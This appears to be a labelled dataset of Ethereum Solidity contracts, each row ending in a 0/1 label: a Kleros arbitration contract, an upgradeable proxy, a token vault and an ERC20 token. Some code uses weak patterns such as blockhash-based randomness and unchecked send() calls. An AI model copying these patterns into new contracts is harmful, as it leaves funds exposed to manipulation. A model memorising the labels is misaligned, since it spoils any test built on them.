|| (checkpoints[checkpoints.length -1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0) return false;
assembly {
size := extcodesize(_addr)
}
return size>0;
}
function min(uint a, uint b) pure internal returns (uint) {
return a < b ? a : b;
}
function () public payable {
require(isContract(controller));
require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender));
}
function claimTokens(address _token) public onlyController {
if (_token == 0x0) {
controller.transfer(this.balance);
return;
}
Pinakion token = Pinakion(_token);
uint balance = token.balanceOf(this);
token.transfer(controller, balance);
ClaimedTokens(_token, controller, balance);
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount
);
}
contract MiniMeTokenFactory {
function createCloneToken(
address _parentToken,
uint _snapshotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public returns (Pinakion) {
Pinakion newToken = new Pinakion(
this,
_parentToken,
_snapshotBlock,
_tokenName,
_decimalUnits,
_tokenSymbol,
_transfersEnabled
);
newToken.changeController(msg.sender);
return newToken;
}
}
contract RNG{
function contribute(uint _block) public payable;
function requestRN(uint _block) public payable {
contribute(_block);
}
function getRN(uint _block) public returns (uint RN);
function getUncorrelatedRN(uint _block) public returns (uint RN) {
uint baseRN=getRN(_block);
if (baseRN==0)
return 0;
else
return uint(keccak256(msg.sender,baseRN));
}
}
contract BlockHashRNG is RNG {
mapping (uint => uint) public randomNumber;
mapping (uint => uint) public reward;
function contribute(uint _block) public payable { reward[_block]+=msg.value; }
function getRN(uint _block) public returns (uint RN) {
RN=randomNumber[_block];
if (RN==0){
saveRN(_block);
return randomNumber[_block];
}
else
return RN;
}
function saveRN(uint _block) public {
if (blockhash(_block) != 0x0)
randomNumber[_block] = uint(blockhash(_block));
if (randomNumber[_block] != 0) {
uint rewardToSend = reward[_block];
reward[_block] = 0;
msg.sender.send(rewardToSend);
}
}
}
contract BlockHashRNGFallback is BlockHashRNG {
function saveRN(uint _block) public {
if (_block<block.number && randomNumber[_block]==0) {
if (blockhash(_block)!=0x0)
randomNumber[_block]=uint(blockhash(_block));
else
randomNumber[_block]=uint(blockhash(block.number-1));
}
if (randomNumber[_block] != 0) {
uint rewardToSend=reward[_block];
reward[_block]=0;
msg.sender.send(rewardToSend);
}
}
}
contract Arbitrable{
Arbitrator public arbitrator;
bytes public arbitratorExtraData;
modifier onlyArbitrator {require(msg.sender==address(arbitrator)); _;}
event Ruling(Arbitrator indexed _arbitrator, uint indexed _disputeID, uint _ruling);
event MetaEvidence(uint indexed _metaEvidenceID, string _evidence);
event Dispute(Arbitrator indexed _arbitrator, uint indexed _disputeID, uint _metaEvidenceID);
event Evidence(Arbitrator indexed _arbitrator, uint indexed _disputeID, address _party, string _evidence);
constructor(Arbitrator _arbitrator, bytes _arbitratorExtraData) public {
arbitrator = _arbitrator;
arbitratorExtraData = _arbitratorExtraData;
}
function rule(uint _disputeID, uint _ruling) public onlyArbitrator {
emit Ruling(Arbitrator(msg.sender),_disputeID,_ruling);
executeRuling(_disputeID,_ruling);
}
function executeRuling(uint _disputeID, uint _ruling) internal;
}
contract Arbitrator{
enum DisputeStatus {Waiting, Appealable, Solved}
modifier requireArbitrationFee(bytes _extraData) {require(msg.value>=arbitrationCost(_extraData)); _;}
modifier requireAppealFee(uint _disputeID, bytes _extraData) {require(msg.value>=appealCost(_disputeID, _extraData)); _;}
event AppealPossible(uint _disputeID);
event DisputeCreation(uint indexed _disputeID, Arbitrable _arbitrable);
event AppealDecision(uint indexed _disputeID, Arbitrable _arbitrable);
function createDispute(uint _choices, bytes _extraData) public requireArbitrationFee(_extraData) payable returns(uint disputeID) {}
function arbitrationCost(bytes _extraData) public constant returns(uint fee);
function appeal(uint _disputeID, bytes _extraData) public requireAppealFee(_disputeID,_extraData) payable {
emit AppealDecision(_disputeID, Arbitrable(msg.sender));
}
function appealCost(uint _disputeID, bytes _extraData) public constant returns(uint fee);
function disputeStatus(uint _disputeID) public constant returns(DisputeStatus status);
function currentRuling(uint _disputeID) public constant returns(uint ruling);
}
contract Kleros is Arbitrator, ApproveAndCallFallBack {
Pinakion public pinakion;
uint public constant NON_PAYABLE_AMOUNT = (2**256 - 2) / 2;
RNG public rng;
uint public arbitrationFeePerJuror = 0.05 ether;
uint16 public defaultNumberJuror = 3;
uint public minActivatedToken = 0.1 * 1e18;
uint[5] public timePerPeriod;
uint public alpha = 2000;
uint constant ALPHA_DIVISOR = 1e4;
uint public maxAppeals = 5;
address public governor;
uint public session = 1;
uint public lastPeriodChange;
uint public segmentSize;
uint public rnBlock;
uint public randomNumber;
enum Period {
Activation,
Draw,
Vote,
Appeal,
Execution
}
Period public period;
struct Juror {
uint balance;
uint atStake;
uint lastSession;
uint segmentStart;
uint segmentEnd;
}
mapping (address => Juror) public jurors;
struct Vote {
address account;
uint ruling;
}
struct VoteCounter {
uint winningChoice;
uint winningCount;
mapping (uint => uint) voteCount;
}
enum DisputeState {
Open,
Resolving,
Executable,
Executed
}
struct Dispute {
Arbitrable arbitrated;
uint session;
uint appeals;
uint choices;
uint16 initialNumberJurors;
uint arbitrationFeePerJuror;
DisputeState state;
Vote[][] votes;
VoteCounter[] voteCounter;
mapping (address => uint) lastSessionVote;
uint currentAppealToRepartition;
AppealsRepartitioned[] appealsRepartitioned;
}
enum RepartitionStage {
Incoherent,
Coherent,
AtStake,
Complete
}
struct AppealsRepartitioned {
uint totalToRedistribute;
uint nbCoherent;
uint currentIncoherentVote;
uint currentCoherentVote;
uint currentAtStakeVote;
RepartitionStage stage;
}
Dispute[] public disputes;
event NewPeriod(Period _period, uint indexed _session);
event TokenShift(address indexed _account, uint _disputeID, int _amount);
event ArbitrationReward(address indexed _account, uint _disputeID, uint _amount);
modifier onlyBy(address _account) {require(msg.sender == _account); _;}
modifier onlyDuring(Period _period) {require(period == _period); _;}
modifier onlyGovernor() {require(msg.sender == governor); _;}
constructor(Pinakion _pinakion, RNG _rng, uint[5] _timePerPeriod, address _governor) public {
pinakion = _pinakion;
rng = _rng;
lastPeriodChange = now;
timePerPeriod = _timePerPeriod;
governor = _governor;
}
function receiveApproval(address _from, uint _amount, address, bytes) public onlyBy(pinakion) {
require(pinakion.transferFrom(_from, this, _amount));
jurors[_from].balance += _amount;
}
function withdraw(uint _value) public {
Juror storage juror = jurors[msg.sender];
require(juror.atStake <= juror.balance);
require(_value <= juror.balance-juror.atStake);
require(juror.lastSession != session);
juror.balance -= _value;
require(pinakion.transfer(msg.sender,_value));
}
function passPeriod() public {
require(now-lastPeriodChange >= timePerPeriod[uint8(period)]);
if (period == Period.Activation) {
rnBlock = block.number + 1;
rng.requestRN(rnBlock);
period = Period.Draw;
} else if (period == Period.Draw) {
randomNumber = rng.getUncorrelatedRN(rnBlock);
require(randomNumber != 0);
period = Period.Vote;
} else if (period == Period.Vote) {
period = Period.Appeal;
} else if (period == Period.Appeal) {
period = Period.Execution;
} else if (period == Period.Execution) {
period = Period.Activation;
++session;
segmentSize = 0;
rnBlock = 0;
randomNumber = 0;
}
lastPeriodChange = now;
NewPeriod(period, session);
}
function activateTokens(uint _value) public onlyDuring(Period.Activation) {
Juror storage juror = jurors[msg.sender];
require(_value <= juror.balance);
require(_value >= minActivatedToken);
require(juror.lastSession != session);
juror.lastSession = session;
juror.segmentStart = segmentSize;
segmentSize += _value;
juror.segmentEnd = segmentSize;
}
function voteRuling(uint _disputeID, uint _ruling, uint[] _draws) public onlyDuring(Period.Vote) {
Dispute storage dispute = disputes[_disputeID];
Juror storage juror = jurors[msg.sender];
VoteCounter storage voteCounter = dispute.voteCounter[dispute.appeals];
require(dispute.lastSessionVote[msg.sender] != session);
require(_ruling <= dispute.choices);
require(validDraws(msg.sender, _disputeID, _draws));
dispute.lastSessionVote[msg.sender] = session;
voteCounter.voteCount[_ruling] += _draws.length;
if (voteCounter.winningCount < voteCounter.voteCount[_ruling]) {
voteCounter.winningCount = voteCounter.voteCount[_ruling];
voteCounter.winningChoice = _ruling;
} else if (voteCounter.winningCount==voteCounter.voteCount[_ruling] && _draws.length!=0) {
voteCounter.winningChoice = 0;
}
for (uint i = 0; i < _draws.length; ++i) {
dispute.votes[dispute.appeals].push(Vote({
account: msg.sender,
ruling: _ruling
}));
}
juror.atStake += _draws.length * getStakePerDraw();
uint feeToPay = _draws.length * dispute.arbitrationFeePerJuror;
msg.sender.transfer(feeToPay);
ArbitrationReward(msg.sender, _disputeID, feeToPay);
}
function penalizeInactiveJuror(address _jurorAddress, uint _disputeID, uint[] _draws) public {
Dispute storage dispute = disputes[_disputeID];
Juror storage inactiveJuror = jurors[_jurorAddress];
require(period > Period.Vote);
require(dispute.lastSessionVote[_jurorAddress] != session);
dispute.lastSessionVote[_jurorAddress] = session;
require(validDraws(_jurorAddress, _disputeID, _draws));
uint penality = _draws.length * minActivatedToken * 2 * alpha / ALPHA_DIVISOR;
penality = (penality < inactiveJuror.balance) ? penality : inactiveJuror.balance;
inactiveJuror.balance -= penality;
TokenShift(_jurorAddress, _disputeID, -int(penality));
jurors[msg.sender].balance += penality / 2;
TokenShift(msg.sender, _disputeID, int(penality / 2));
jurors[governor].balance += penality / 2;
TokenShift(governor, _disputeID, int(penality / 2));
msg.sender.transfer(_draws.length*dispute.arbitrationFeePerJuror);
}
function oneShotTokenRepartition(uint _disputeID) public onlyDuring(Period.Execution) {
Dispute storage dispute = disputes[_disputeID];
require(dispute.state == DisputeState.Open);
require(dispute.session+dispute.appeals <= session);
uint winningChoice = dispute.voteCounter[dispute.appeals].winningChoice;
uint amountShift = getStakePerDraw();
for (uint i = 0; i <= dispute.appeals; ++i) {
if (winningChoice!=0 || (dispute.voteCounter[dispute.appeals].voteCount[0] == dispute.voteCounter[dispute.appeals].winningCount)) {
uint totalToRedistribute = 0;
uint nbCoherent = 0;
for (uint j = 0; j < dispute.votes[i].length; ++j) {
Vote storage vote = dispute.votes[i][j];
if (vote.ruling != winningChoice) {
Juror storage juror = jurors[vote.account];
uint penalty = amountShift<juror.balance ? amountShift : juror.balance;
juror.balance -= penalty;
TokenShift(vote.account, _disputeID, int(-penalty));
totalToRedistribute += penalty;
} else {
++nbCoherent;
}
}
if (nbCoherent == 0) {
jurors[governor].balance += totalToRedistribute;
TokenShift(governor, _disputeID, int(totalToRedistribute));
} else {
uint toRedistribute = totalToRedistribute / nbCoherent;
for (j = 0; j < dispute.votes[i].length; ++j) {
vote = dispute.votes[i][j];
if (vote.ruling == winningChoice) {
juror = jurors[vote.account];
juror.balance += toRedistribute;
TokenShift(vote.account, _disputeID, int(toRedistribute));
}
}
}
}
for (j = 0; j < dispute.votes[i].length; ++j) {
vote = dispute.votes[i][j];
juror = jurors[vote.account];
juror.atStake -= amountShift;
}
}
dispute.state = DisputeState.Executable;
}
function multipleShotTokenRepartition(uint _disputeID, uint _maxIterations) public onlyDuring(Period.Execution) {
Dispute storage dispute = disputes[_disputeID];
require(dispute.state <= DisputeState.Resolving);
require(dispute.session+dispute.appeals <= session);
dispute.state = DisputeState.Resolving;
uint winningChoice = dispute.voteCounter[dispute.appeals].winningChoice;
uint amountShift = getStakePerDraw();
uint currentIterations = 0;
for (uint i = dispute.currentAppealToRepartition; i <= dispute.appeals; ++i) {
if (dispute.appealsRepartitioned.length < i+1) {
dispute.appealsRepartitioned.length++;
}
if (winningChoice==0 && (dispute.voteCounter[dispute.appeals].voteCount[0] != dispute.voteCounter[dispute.appeals].winningCount)) {
dispute.appealsRepartitioned[i].stage = RepartitionStage.AtStake;
}
if (dispute.appealsRepartitioned[i].stage == RepartitionStage.Incoherent) {
for (uint j = dispute.appealsRepartitioned[i].currentIncoherentVote; j < dispute.votes[i].length; ++j) {
if (currentIterations >= _maxIterations) {
return;
}
Vote storage vote = dispute.votes[i][j];
if (vote.ruling != winningChoice) {
Juror storage juror = jurors[vote.account];
uint penalty = amountShift<juror.balance ? amountShift : juror.balance;
juror.balance -= penalty;
TokenShift(vote.account, _disputeID, int(-penalty));
dispute.appealsRepartitioned[i].totalToRedistribute += penalty;
} else {
++dispute.appealsRepartitioned[i].nbCoherent;
}
++dispute.appealsRepartitioned[i].currentIncoherentVote;
++currentIterations;
}
dispute.appealsRepartitioned[i].stage = RepartitionStage.Coherent;
}
if (dispute.appealsRepartitioned[i].stage == RepartitionStage.Coherent) {
if (dispute.appealsRepartitioned[i].nbCoherent == 0) {
jurors[governor].balance += dispute.appealsRepartitioned[i].totalToRedistribute;
TokenShift(governor, _disputeID, int(dispute.appealsRepartitioned[i].totalToRedistribute));
dispute.appealsRepartitioned[i].stage = RepartitionStage.AtStake;
} else {
uint toRedistribute = dispute.appealsRepartitioned[i].totalToRedistribute / dispute.appealsRepartitioned[i].nbCoherent;
for (j = dispute.appealsRepartitioned[i].currentCoherentVote; j < dispute.votes[i].length; ++j) {
if (currentIterations >= _maxIterations) {
return;
}
vote = dispute.votes[i][j];
if (vote.ruling == winningChoice) {
juror = jurors[vote.account];
juror.balance += toRedistribute;
TokenShift(vote.account, _disputeID, int(toRedistribute));
}
++currentIterations;
++dispute.appealsRepartitioned[i].currentCoherentVote;
}
dispute.appealsRepartitioned[i].stage = RepartitionStage.AtStake;
}
}
if (dispute.appealsRepartitioned[i].stage == RepartitionStage.AtStake) {
for (j = dispute.appealsRepartitioned[i].currentAtStakeVote; j < dispute.votes[i].length; ++j) {
if (currentIterations >= _maxIterations) {
return;
}
vote = dispute.votes[i][j];
juror = jurors[vote.account];
juror.atStake -= amountShift;
++currentIterations;
++dispute.appealsRepartitioned[i].currentAtStakeVote;
}
dispute.appealsRepartitioned[i].stage = RepartitionStage.Complete;
}
if (dispute.appealsRepartitioned[i].stage == RepartitionStage.Complete) {
++dispute.currentAppealToRepartition;
}
}
dispute.state = DisputeState.Executable;
}
function amountJurors(uint _disputeID) public view returns (uint nbJurors) {
Dispute storage dispute = disputes[_disputeID];
return (dispute.initialNumberJurors + 1) * 2**dispute.appeals - 1;
}
function validDraws(address _jurorAddress, uint _disputeID, uint[] _draws) public view returns (bool valid) {
uint draw = 0;
Juror storage juror = jurors[_jurorAddress];
Dispute storage dispute = disputes[_disputeID];
uint nbJurors = amountJurors(_disputeID);
if (juror.lastSession != session) return false;
if (dispute.session+dispute.appeals != session) return false;
if (period <= Period.Draw) return false;
for (uint i = 0; i < _draws.length; ++i) {
if (_draws[i] <= draw) return false;
draw = _draws[i];
if (draw > nbJurors) return false;
uint position = uint(keccak256(randomNumber, _disputeID, draw)) % segmentSize;
require(position >= juror.segmentStart);
require(position < juror.segmentEnd);
}
return true;
}
function createDispute(uint _choices, bytes _extraData) public payable returns (uint disputeID) {
uint16 nbJurors = extraDataToNbJurors(_extraData);
require(msg.value >= arbitrationCost(_extraData));
disputeID = disputes.length++;
Dispute storage dispute = disputes[disputeID];
dispute.arbitrated = Arbitrable(msg.sender);
if (period < Period.Draw)
dispute.session = session;
else
dispute.session = session+1;
dispute.choices = _choices;
dispute.initialNumberJurors = nbJurors;
dispute.arbitrationFeePerJuror = arbitrationFeePerJuror;
dispute.votes.length++;
dispute.voteCounter.length++;
DisputeCreation(disputeID, Arbitrable(msg.sender));
return disputeID;
}
function appeal(uint _disputeID, bytes _extraData) public payable onlyDuring(Period.Appeal) {
super.appeal(_disputeID,_extraData);
Dispute storage dispute = disputes[_disputeID];
require(msg.value >= appealCost(_disputeID, _extraData));
require(dispute.session+dispute.appeals == session);
require(dispute.arbitrated == msg.sender);
dispute.appeals++;
dispute.votes.length++;
dispute.voteCounter.length++;
}
function executeRuling(uint disputeID) public {
Dispute storage dispute = disputes[disputeID];
require(dispute.state == DisputeState.Executable);
dispute.state = DisputeState.Executed;
dispute.arbitrated.rule(disputeID, dispute.voteCounter[dispute.appeals].winningChoice);
}
function arbitrationCost(bytes _extraData) public view returns (uint fee) {
return extraDataToNbJurors(_extraData) * arbitrationFeePerJuror;
}
function appealCost(uint _disputeID, bytes _extraData) public view returns (uint fee) {
Dispute storage dispute = disputes[_disputeID];
if(dispute.appeals >= maxAppeals) return NON_PAYABLE_AMOUNT;
return (2*amountJurors(_disputeID) + 1) * dispute.arbitrationFeePerJuror;
}
function extraDataToNbJurors(bytes _extraData) internal view returns (uint16 nbJurors) {
if (_extraData.length < 2)
return defaultNumberJuror;
else
return (uint16(_extraData[0]) << 8) + uint16(_extraData[1]);
}
function getStakePerDraw() public view returns (uint minActivatedTokenInAlpha) {
return (alpha * minActivatedToken) / ALPHA_DIVISOR;
}
function getVoteAccount(uint _disputeID, uint _appeals, uint _voteID) public view returns (address account) {
return disputes[_disputeID].votes[_appeals][_voteID].account;
}
function getVoteRuling(uint _disputeID, uint _appeals, uint _voteID) public view returns (uint ruling) {
return disputes[_disputeID].votes[_appeals][_voteID].ruling;
}
function getWinningChoice(uint _disputeID, uint _appeals) public view returns (uint winningChoice) {
return disputes[_disputeID].voteCounter[_appeals].winningChoice;
}
function getWinningCount(uint _disputeID, uint _appeals) public view returns (uint winningCount) {
return disputes[_disputeID].voteCounter[_appeals].winningCount;
}
function getVoteCount(uint _disputeID, uint _appeals, uint _choice) public view returns (uint voteCount) {
return disputes[_disputeID].voteCounter[_appeals].voteCount[_choice];
}
function getLastSessionVote(uint _disputeID, address _juror) public view returns (uint lastSessionVote) {
return disputes[_disputeID].lastSessionVote[_juror];
}
function isDrawn(uint _disputeID, address _juror, uint _draw) public view returns (bool drawn) {
Dispute storage dispute = disputes[_disputeID];
Juror storage juror = jurors[_juror];
if (juror.lastSession != session
|| (dispute.session+dispute.appeals != session)
|| period<=Period.Draw
|| _draw>amountJurors(_disputeID)
|| _draw==0
|| segmentSize==0
) {
return false;
} else {
uint position = uint(keccak256(randomNumber,_disputeID,_draw)) % segmentSize;
return (position >= juror.segmentStart) && (position < juror.segmentEnd);
}
}
function currentRuling(uint _disputeID) public view returns (uint ruling) {
Dispute storage dispute = disputes[_disputeID];
return dispute.voteCounter[dispute.appeals].winningChoice;
}
function disputeStatus(uint _disputeID) public view returns (DisputeStatus status) {
Dispute storage dispute = disputes[_disputeID];
if (dispute.session+dispute.appeals < session)
return DisputeStatus.Solved;
else if(dispute.session+dispute.appeals == session) {
if (dispute.state == DisputeState.Open) {
if (period < Period.Appeal)
return DisputeStatus.Waiting;
else if (period == Period.Appeal)
return DisputeStatus.Appealable;
else return DisputeStatus.Solved;
} else return DisputeStatus.Solved;
} else return DisputeStatus.Waiting;
}
function executeOrder(bytes32 _data, uint _value, address _target) public onlyGovernor {
_target.call.value(_value)(_data);
}
function setRng(RNG _rng) public onlyGovernor {
rng = _rng;
}
function setArbitrationFeePerJuror(uint _arbitrationFeePerJuror) public onlyGovernor {
arbitrationFeePerJuror = _arbitrationFeePerJuror;
}
function setDefaultNumberJuror(uint16 _defaultNumberJuror) public onlyGovernor {
defaultNumberJuror = _defaultNumberJuror;
}
function setMinActivatedToken(uint _minActivatedToken) public onlyGovernor {
minActivatedToken = _minActivatedToken;
}
function setTimePerPeriod(uint[5] _timePerPeriod) public onlyGovernor {
timePerPeriod = _timePerPeriod;
}
function setAlpha(uint _alpha) public onlyGovernor {
alpha = _alpha;
}
function setMaxAppeals(uint _maxAppeals) public onlyGovernor {
maxAppeals = _maxAppeals;
}
function setGovernor(address _governor) public onlyGovernor {
governor = _governor;
}
} | 0 | 2,049 |
pragma solidity ^0.4.24;
pragma solidity ^0.4.24;
pragma solidity ^0.4.24;
contract Proxy {
function () payable external {
_fallback();
}
function _implementation() internal view returns (address);
function _delegate(address implementation) internal {
assembly {
calldatacopy(0, 0, calldatasize)
let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0)
returndatacopy(0, 0, returndatasize)
switch result
case 0 { revert(0, returndatasize) }
default { return(0, returndatasize) }
}
}
function _willFallback() internal {
}
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
contract UpgradeabilityProxy is Proxy {
event Upgraded(address indexed implementation);
bytes32 private constant IMPLEMENTATION_SLOT = 0x7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c3;
constructor(address _implementation, bytes _data) public payable {
assert(IMPLEMENTATION_SLOT == keccak256("org.zeppelinos.proxy.implementation"));
_setImplementation(_implementation);
if(_data.length > 0) {
require(_implementation.delegatecall(_data));
}
}
function _implementation() internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
function _setImplementation(address newImplementation) private {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
event AdminChanged(address previousAdmin, address newAdmin);
bytes32 private constant ADMIN_SLOT = 0x10d6a54a4754c8869d6886b5f5d7fbfa5b4522237ea5c60d11bc4e7a1ff9390b;
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
constructor(address _implementation, address _admin, bytes _data) UpgradeabilityProxy(_implementation, _data) public payable {
assert(ADMIN_SLOT == keccak256("org.zeppelinos.proxy.admin"));
_setAdmin(_admin);
}
function admin() external view ifAdmin returns (address) {
return _admin();
}
function implementation() external view ifAdmin returns (address) {
return _implementation();
}
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
function upgradeToAndCall(address newImplementation, bytes data) payable external ifAdmin {
_upgradeTo(newImplementation);
require(newImplementation.delegatecall(data));
}
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
function _willFallback() internal {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
} | 1 | 4,976 |
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract StandardToken is ERC20, SafeMath {
event Minted(address receiver, uint amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function isToken() public constant returns (bool weAre) {
return true;
}
function transfer(address _to, uint _value) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract TokenVault is Ownable {
uint public investorCount;
uint public tokensToBeAllocated;
uint public totalClaimed;
uint public tokensAllocatedTotal;
mapping(address => uint) public balances;
mapping(address => uint) public claimed;
uint public freezeEndsAt;
uint public lockedAt;
StandardToken public token;
enum State{Unknown, Loading, Holding, Distributing}
event Allocated(address investor, uint value);
event Distributed(address investors, uint count);
event Locked();
function TokenVault(address _owner, uint _freezeEndsAt, StandardToken _token, uint _tokensToBeAllocated) {
owner = _owner;
if(owner == 0) {
throw;
}
token = _token;
if(!token.isToken()) {
throw;
}
if(_freezeEndsAt == 0) {
throw;
}
if(_tokensToBeAllocated == 0) {
throw;
}
freezeEndsAt = _freezeEndsAt;
tokensToBeAllocated = _tokensToBeAllocated;
}
function setInvestor(address investor, uint amount) public onlyOwner {
if(lockedAt > 0) {
throw;
}
if(amount == 0) throw;
if(balances[investor] > 0) {
throw;
}
balances[investor] = amount;
investorCount++;
tokensAllocatedTotal += amount;
Allocated(investor, amount);
}
function lock() onlyOwner {
if(lockedAt > 0) {
throw;
}
if(tokensAllocatedTotal != tokensToBeAllocated) {
throw;
}
if(token.balanceOf(address(this)) != tokensAllocatedTotal) {
throw;
}
lockedAt = now;
Locked();
}
function recoverFailedLock() onlyOwner {
if(lockedAt > 0) {
throw;
}
token.transfer(owner, token.balanceOf(address(this)));
}
function getBalance() public constant returns (uint howManyTokensCurrentlyInVault) {
return token.balanceOf(address(this));
}
function claim() {
address investor = msg.sender;
if(lockedAt == 0) {
throw;
}
if(now < freezeEndsAt) {
throw;
}
if(balances[investor] == 0) {
throw;
}
if(claimed[investor] > 0) {
throw;
}
uint amount = balances[investor];
claimed[investor] = amount;
totalClaimed += amount;
token.transfer(investor, amount);
Distributed(investor, amount);
}
function getState() public constant returns(State) {
if(lockedAt == 0) {
return State.Loading;
} else if(now > freezeEndsAt) {
return State.Distributing;
} else {
return State.Holding;
}
}
} | 1 | 3,643 |
pragma solidity ^0.5.0;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract Vicion is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "VIC";
name = "Vicion";
decimals = 18;
_totalSupply = 1000000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
function withdrawEther(uint256 amount) public returns (bool success){
if(msg.sender != owner)revert();
msg.sender.transfer(amount);
return true;
}
function () external payable {
}
